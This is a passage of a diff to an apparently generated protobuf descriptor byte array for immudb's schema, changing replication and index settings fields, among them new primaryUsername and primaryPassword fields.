0x61, 0x62, - 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, - 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, - 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, - 0x6b, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, - 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, - 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, - 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, + 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, + 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, - 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, - 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, - 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, - 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, - 0x69, 0x6e, 0x67, 0x12, 0x4b, 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, - 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x12, 0x73, 0x6b, - 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x12, 0x45, 0x0a, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x69, 0x6e, 0x67, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x22, 0xc2, 0x01, 0x0a, 0x1a, 0x54, 0x72, 0x75, 0x6e, - 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, - 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, - 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, - 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, - 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0x99, 0x09, 0x0a, - 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, - 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, - 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, - 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, + 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, + 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, - 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, - 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, - 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, - 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, - 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, - 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, + 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, + 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, - 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, - 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, - 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, + 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, + 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, - 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, - 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x55, 0x0a, 0x16, 0x6e, 0x6f, - 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, - 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, + 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x61, 0x6c, 0x6c, + 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x4b, + 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, + 0x68, 0x65, 0x63, 0x6b, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, - 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, - 0x73, 0x12, 0x59, 0x0a, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, - 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, - 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, - 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, - 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, + 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x12, 0x45, 0x0a, 0x0f, 0x77, + 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x18, 0x0d, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, + 0x6c, 0x52, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, + 0x6e, 0x67, 0x22, 0xc2, 0x01, 0x0a, 0x1a, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, + 0x72, 0x69, 0x6f, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, + 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, + 0x12, 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, + 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, - 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, - 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x66, - 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4a, - 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, - 0x61, 0x67, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, + 0x64, 0x73, 0x52, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, + 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, + 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, - 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, - 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, + 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, + 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, + 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, + 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, + 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, + 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, - 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x5b, 0x0a, 0x16, 0x62, - 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, - 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x4d, 